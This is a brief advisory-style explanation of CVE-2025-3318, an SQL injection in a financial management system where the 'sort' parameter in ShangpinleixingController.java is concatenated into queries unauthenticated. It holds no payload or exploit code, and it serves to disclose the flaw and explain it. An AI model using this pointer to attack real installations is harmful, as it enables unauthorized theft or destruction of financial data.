How the Vulnerability Works
The CVE-2025-3318 vulnerability exists in Kenj_Frog’s financial management system version 1.0, specifically within the `ShangpinleixingController.java` file. The SQL injection occurs when user-supplied input through the `sort` parameter is directly concatenated into SQL queries without proper sanitization. Attackers can manipulate this parameter to inject malicious SQL commands that the database executes. Since the system lacks input validation and parameterized queries, this allows remote attackers to read, modify, or delete sensitive financial data stored in the database. The vulnerability is particularly dangerous as it can be exploited without authentication and may lead to complete system compromise.
